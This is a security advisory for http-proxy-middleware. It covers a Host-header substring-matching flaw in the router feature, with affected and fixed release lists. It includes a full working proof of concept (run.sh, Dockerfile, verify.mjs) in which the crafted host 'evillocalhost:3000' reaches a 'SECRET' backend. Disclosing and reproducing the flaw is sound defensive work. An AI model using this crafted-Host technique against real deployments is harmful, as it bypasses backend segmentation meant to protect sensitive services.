Packages / http-proxy-middleware / Security
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Affected releases · http-proxy-middleware
- 4.x4.0.0Fixed in 4.1.0
- 3.x3.0.0 – 3.0.5Fixed in 3.0.6
- 2.x2.0.0 – 2.0.9Fixed in 2.0.10
- 1.x and older0.16.0 – 1.3.1No fix, no longer updated
On 4.x, the newest line:
npm install http-proxy-middleware@4.1.0Every release on a timeline
Affected
4.0.0
1 release
Fixed
4.1.0 – 4.2.2
5 releases, latest
Affected
3.0.0 – 3.0.5
6 releases
Fixed
3.0.6 – 3.0.11
4 releases
Affected
2.0.0 – 2.0.9
10 releases
Fixed
2.0.10 – 2.0.12
3 releases
Affected
1.0.0 – 1.3.1
14 releases
Not affected
0.0.1 – 0.15.2
27 releases
Affected
0.16.0 – 0.21.0
12 releases
What happens
Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
Details
Tested code state:
validated on tag
v4.0.0-beta.5corresponding commit:
339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
src/router.tssrc/http-proxy-middleware.ts
Affected public API:
createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
hostAndPath.indexOf(key) > -1
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
localhost:3000/api
but the attacker-controlled host is:
evillocalhost:3000
and the request path is:
/api
The concatenated attacker-controlled string:
evillocalhost:3000/api
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
the application enables the documented proxy-table
routerfeature with at least one host+path rulean external attacker sends an ordinary HTTP request with a crafted
HostheaderHttpProxyMiddleware.prepareProxyRequest()applies router selection before proxyinggetTargetFromProxyTable()accepts the craftedHost + pathstring through substring matchingthe request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
bash ./run.sh
File: run.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjsFile: Dockerfile
FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction
File: verify.mjs
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
port: 3000,
path,
method: 'GET',
headers: {
Host: host,
},
},
(res) => {
let data = '';
res.setEncoding('utf8');
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
resolve({ statusCode: res.statusCode, body: data });
});
},
);
req.on('error', reject);
req.end();
});
}
const defaultBackend = http.createServer((req, res) => {
res.end('DEFAULT');
});
const secretBackend = http.createServer((req, res) => {
res.end('SECRET');
});
const proxyMiddleware = createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
const proxyServer = http.createServer((req, res) => {
proxyMiddleware(req, res, () => {
res.statusCode = 404;
res.end('NO_PROXY');
});
});
try {
assert.ok(fs.existsSync('/work/repo/dist/index.js'));
assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));
await listen(defaultBackend, 3101);
await listen(secretBackend, 3102);
await listen(proxyServer, 3000);
console.log('STEP start-services ok');
const baseline = await request('/api', 'safe.example:3000');
assert.equal(baseline.statusCode, 200);
assert.equal(baseline.body, 'DEFAULT');
console.log(`STEP baseline-route body=${baseline.body}`);
const crafted = await request('/api', CRAFTED_HOST);
assert.equal(crafted.statusCode, 200);
assert.equal(crafted.body, 'SECRET');
assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
console.log(`STEP crafted-route body=${crafted.body}`);
console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}This PoC starts:
one default backend returning
DEFAULTone alternate backend returning
SECRETone proxy using:
createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});It then sends:
a baseline request to
/apiwithHost: safe.example:3000a crafted request to
/apiwithHost: evillocalhost:3000
Observed result from the validated PoC:
baseline request:
STEP baseline-route body=DEFAULTcrafted request:
STEP crafted-route body=SECRETsuccess marker:
RESULT reproduced host_header_injection router substring match bypass
The PoC is considered successful only if:
the baseline request stays on the default backend
the crafted request reaches the alternate backend
the crafted host is not equal to the configured router host
Impact
This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.
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